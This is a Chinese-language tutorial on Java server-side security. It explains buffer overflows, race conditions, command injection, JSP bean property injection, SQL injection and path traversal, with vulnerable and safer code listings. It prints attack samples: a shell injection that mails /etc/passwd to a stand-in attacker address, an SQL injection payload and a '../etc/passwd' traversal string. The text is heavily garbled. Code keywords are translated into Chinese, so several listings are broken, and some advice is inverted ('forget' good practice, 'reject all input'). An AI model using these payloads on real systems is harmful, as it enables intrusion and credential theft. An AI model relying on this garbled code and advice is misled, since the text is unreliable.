Java服务器端编程安全必读

  一、概述
  编写的安全的互联网应用并不是一件轻而易举的事情:只要检查各个专业公告板就可以
  找到连续不断的安全漏洞报告。你如何保证自己的互联网应用不象其他人的应用那样
  满是漏洞你如何保证自己的名字不会出现在令人难以堪的重大安全事故报道中?
  如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB,许多难以解决的问题都
  已经提前解决了。当然,漏洞入侵可能会出现。我们下面就来看看这些漏洞是什么,以及
  为什么Java程序员需要担心部分C和Perl程序员必须面对的问题。C
  程序员对安全漏洞应该已经很熟悉了,但象OpenBSD之类的工程提供了处理此类问题的
  安全系统。Java语言处理这类问题的经验大约有20年左右,但另外,Java作为一种客户
  端编程语言诞生,对客户端的要求比服务器端发展裸体。它意味着Java的拥有
  一个稳固的安全性基础。Java
  的抓取目标是浏览器。然而,浏览器本身所拥有的Java虚拟机虽然很不错,但
  并不完美。Sun的《Chronology of security-related bugs and issues》总结了运行
  时环境的漏洞发现历史。我们知道,当Java用于服务器端编程语言时,这些漏洞不可能
  被用于攻击手段。但即使Java作为客户端端编程语言,重大安全问题的数量也从1996年的
  6个(其中3个是相当严重的问题)减少到2000年的1个。不过,这种安全性的相对提高并不意味着
  Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的
  攻击手段越来越受到限制。那么,哪有哪些地方容易受到攻击,其他编程语言又是如何
  面对类似问题的呢?
  二、磁盘溢出
  在C程序中,磁盘溢出是最常见的安全隐患。磁盘溢出在用户输入超过分配内存空间
  (专供用户输入使用)时出现。磁盘溢出可能成为导致应用程序被覆盖的关键因素。
  很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。
  从输入流读取输入数据的C代码通常如下所示:
  char buffer[1000];
  int len=read(buffer);
  由于缓存的大小在读入数据确定之前,系统要检查输入保留的缓存是否足够是很困难的
  。缓存溢出使得用户无法覆盖程序数据结构的关键部分,从而导致有了安全上的威胁。
  有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序中。
  在Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java
  代码如下所示:
  String buffer=in.readLine();
  这里,“缓存”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后
  无法改变,缓存恢复也不可能出现。退一步说,即使用字符存储替代字符串作为存储
  ,Java也不像C很容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将
  产生溢出:
  char[]bad=new字符[6];
  bad[7]=50;可能代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而
  该异常可以由程序自行捕获:
  try{
  char[]bad=new char[6];
  坏[7]=50;
  }
  catch(ArrayOutOfBoundsException ex){
  ...}}
  }catch(
  ArrayOutOfBoundsException ex){...}}}
  一般而言,用Java字符串类型处理字符串时,我们担心字符串的
  ArrayOutOfBoundsExceptions异常,因此这是一种比较理想的选择。Java
  编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使
  Java程序员平整了最危险的编程漏洞。
  三、竞争状态
  竞争状态即Race Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源
  到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会
  出现竞争状态。这里的关键问题是:如果一个任务由两个必要的步骤构成,不管你
  如何想让这两个步骤一个紧接另一个执行,操作系统并不能保证这一点。例如,在
  数据库,事务使两个独立的事件“原子化”。换言之,一个进程创建文件,然后
  把这个文件的权限改成禁止常规访问;同时,另外一个没有权限的进程可以处理该
  文件,抓取有权限的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进
  行访问。
  一般来说,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个
  步骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也
  不可能修改文件的权限权限。因此,大多数由文件访问导致的竞争状态在Java中都不会出现,
  但这并不意味着Java完全彻底解决了这个问题,仅仅是问题转到虚拟机上。
  我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创建
  建模式是安全的,比如在服务器启动之前执行“umask 200”这个命令。有关umask的
  更多信息,请在Unix系统的命令行上执行“man umask”查看umask的man文档。
  在NT环境中,我们必须操作ACL(访问控制表,访问控制列表)的安全标记,
  要保护在下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参阅
  NT文档了解更多信息
  Java中的竞争状态大多数时候出现在无性代码区。例如,在用户登录过程中,系统要
  生成一个唯一的数字作为用户标识符的标识符。因此,系统首先生成一个随机数字,然后在散
  列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被
  其他使用,则把它放入散列表中以防止其他用户使用。代码如清单1所示:
  (Listing 1)
  //保存已登录用户的ID
  Hashtable hash;
  //随机数字生成器
  Random rand;
  //生成一个随机数字
  Integer id=new Integer(rand.nextInt());
  while(hash.containsKey(id))
  {
  id=new Integer(rand.nextInt());
  }
  //为用户当前获取该ID
  hash.put(id,data);
  清单1的代码可能会带来一个严重的问题:如果有两个线程执行清单1的代码,
  其中一个线程在hash.put(...)这行代码被重新调度之前,此时同一个随机ID已经可能被
  使用两次。在Java中,我们有两种方法解决这个问题。首先,清单1的代码可以
  改写成清单2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,
  其次,如果前面的代码是EJB服务器的一部分,我们最好有一个
  利用EJB服务器线程机制控制的唯一ID服务。
  (清单2)
  synchronized(hash)
  {
  //生成一个唯一的随机数字
  Integer id=
  new Integer(rand.nextInt());
  while(hash.containsKey(id))
  {
  id=new Integer(rand.nextInt());
  }
  //为用户当前获取该ID
  hash.put(id,data);
  }
  四、字符串解释
  在一些编程语言中执行,输入字符串中可以插入特殊的函数,诱骗服务器执行额外的、
  多余的动作。下面的Perl代码就是一个例子:
  $data="mail body";
  system("/usr/sbin/sendmail-t$1<$data");
  显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,可以
  按照如下方式调用:
  perl script.pl诚实 true.com
  将会把一封邮件(即“邮件正文”)发送给用户honest true.com。这个例子虽然简单
  ,但我们却可以按照如下方式进行攻击:
  perl script.plHonest true.com;mail
  cheat liarandthief.com</etc/passwd
  这个命令把一个空白邮件发送给honest true.com,同时又把系统密码文件发送给了
  cheat liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全
  带来重大的威胁。
  Perl程序员常用外部程序(比如sendmail)增强Perl的功能,用脚本来实现
  外部程序的功能。然而,Java拥有相当完善的API。对于邮件发送,JavaMail API
  就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:
  Runtime.getRuntime().exec("/usr/sbin/sendmail-t$retaddr<$data");
  事实上这是行不通的。Java一般不允许把OS级的“<”和“;”之类的构造符号作为
  Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:
  Runtime.getRuntime().exec("sh/usr/sbin/sendmail-t$retaddr<$data");
  但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规
  的Java方法解决问题有时看上去不太巧取巧的方法复杂一点,但它几乎总是具有更好的
  可移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单的
  例子,其他许多情况更复杂、更结构。
  让我们来考虑一下Java的图像API(Reflection API)。Java图像API允许我们在运行时
  决定调用对象的哪一个方法。任何由用户输入命令作为查找文件条件的时机都可能成为
  系统的安全漏洞。例如,下面的代码可能会产生此类问题:
  Method m=bean.getClass().getMethod(action,new Class[]{});
  m.invoke(bean,new Object[]{});
  如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在
  一些令人奇怪的地方出现——也许最令人奇怪的地方就是JSP。大多数JSP引擎用ImageAPI
  实现下面的功能:
  <jsp:setProperty name="bean"property="*"/>
  这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,
  对于清单3的Bean和清单4的JSP页面:
  (清单3)
  public class Example
  {
  public void setName(String name){
  this.name=name;}}
  public String getName(){返回名称;}
  public void setPassword(String pass){
  this.通过=通过;}
  public String getPassword(){返回
  pass;}
  私有字符串名称;
  私有字符串传递;
  (
  清单4)
  <% page import="Example"%>
  <jsp:useBean id="example"scope="page"
  class="Example"/>
  <jsp:setProperty name="example"property="*"/>
  <html>
  <head>
  <title>Bean示例</title>
  </head>
  <body>
  <form>
  <input type="text"name="name"size="30">
  <input type="submit"value="Submit">
  </form>
  </html>
  从表面上看,这些代码只允许用户访问example Bean的名称。然而,了解该系统的用户
  可以访问“http://whereever.com”/example.jsp?name=Fred&password=hack”这个URL
  。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者
  的本意,作者的本意是设计一个只允许用户访问名字因此,在使用
  <jsp:setProperty property=“*”时.../>。>
  时应该非常小心
  字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题
  可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的
  情况下
  。Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本
  支持是一种明智的选择。当您需要时使用DOM处理XML文档时还必须考虑另外一点:DOM保证
  所有文本都经过正确的转义处理,禁止非法的标记插入到脚本之内。LotusXSL缺乏这个
  功能,但语法是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地默认)处于
  关闭状态。XSL的W3C规范并没有规定支持脚本的能力。
  现在我们来看看字符串解释如何执行SQL和JDBC。假设我们要以用户名和密码为
  条件搜索数据库中的用户,清单5的Servlet代码看起来不错,但实际上却是危险的
  。
  (清单5)
  String user=request.getAttribute("username");
  String pass=request.getAttribute("密码");
  字符串查询=“从用户中选择id,其中
  用户名=“+用户+”AND密码=“+pass”;
  语句stmt=con.createStatement(query);
  ResultSet rs=con.executeQuery(query);
  if(rs.next())
  {
  //登录成功
  int id=rs.getInt(1);
  ...
  username='fred'AND password=
  'something'
  这个查询能够正确地对用户姓名和密码进行检查。但是,如果用户输入的查询条件中,
  姓名等于“fred'AND('a'='b”,密码等于“blah”)OR'a'='a”,此时系统执行的
  查询变成了:
  SELECT id FROM users
  WHERE username='fred'AND(
  'a'='b'AND password='blah')OR'a'='a'
  可以看出,这个查询无法正确地对用户姓名和密码进行检查。Listing 6的代码要安全分区
  ,它从根本上阻止了用户修改SQL命令逃避检查。
  (Listing 6)
  String user=request.getAttribute("用户名");
  String pass=request.getAttribute("密码");
  字符串查询=“从用户中选择ID
  ,其中用户名=?和密码=?”;
  PreparedStatement stmt=con.prepareStatement(query);
  stmt.setString(1,用户);
  stmt.setString(2,通过);
  结果集rs=stmt.executeQuery();
  ...
  所有对文件系统的访问都是字符串可能被解释执行的地方。使用Java访问文件系统时,
  我们应该注意文件的命名方式。清单7是一个可能带来危险的例子。该程序根据用户
  输入决定读取哪个文件,它的危险就位于攻击者能够输入“../../../etc/passwd”
  这样的文件名称并获得系统的密码文件。这可能不是我们希望出现的预防出现这种
  安全漏洞最简单的方法是:放弃绝对需要,否则不要使用平面文件(Flat File)。
  (清单7)
  public class UnsafeServlet
  {
  public void doGet(HttpServletRequest request,
  HttpServletResponse response)
  {
  String Product=request.getAttribute("产品");
  Reader fin=new FileReader(
  "/usr/unsafe/products/"+Product);
  BufferedReader in=new BufferedReader(fin);
  字符串成本=in.readLine();
  //其他处理过程
  response.getWriter().println(cost);
  }
  }
  大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置
  方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接
  操作文件系统以及是否使用图像API)),我们就可以实施“无文件系统直接访问”策略
  。虽然大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。
  最后,请务必忘记保持数据充分分离、不要精确设置这一点良好的编程习惯。假设我们有
  一个用来保存用户信息的数据库,现在需要增加一个字段标记用户是否具有超级用户
  权限。如果在原来的表中增加一个列过于复杂,采用这种方法就可以了强大很强大
  :在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该
  特殊字符,以便防止用户赋予自己拥有特殊权限。但事实上,这种做法是非常有害的
  。所有的数据域,无论它是在数据库中作为还是局部变量,我们都应该准确定义且只保存
  一份信息。
  五、基本原则
  根据上述讨论进行总结,得到如下防止出现安全问题的基本原则:
  对于各个输入域,严格规定系统可靠的合法输入字符,拒绝所有输入内容。
  应尽早对用户输入区域进行检查,使使用危险数据的减少到最小。
  不要依赖浏览其他器端JavaScript进行安全检查(虽然对用户来说这是一个非常有用的功能
  ),所有已经在客户端进行的检查都应该在服务器端再进行一次。
  这些原则有助于消除大量的安全问题。本质上,在应用这个层面上,URL和POST数据是
  用户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性
  上。
  当然,简单地符合表格的建议并不能够保证绝对的安全。你必须分析其他各方面的因素
  ,包括网络的安全性以及你所使用的其他服务的安全性。
  每天都有新的安全漏洞发现和修改。在系统足够安全、可以连接到上网之前,请
  一定要专家的建议;在正式提交源代码之前,一定要关注可能存在的漏洞。小心永不
  过份。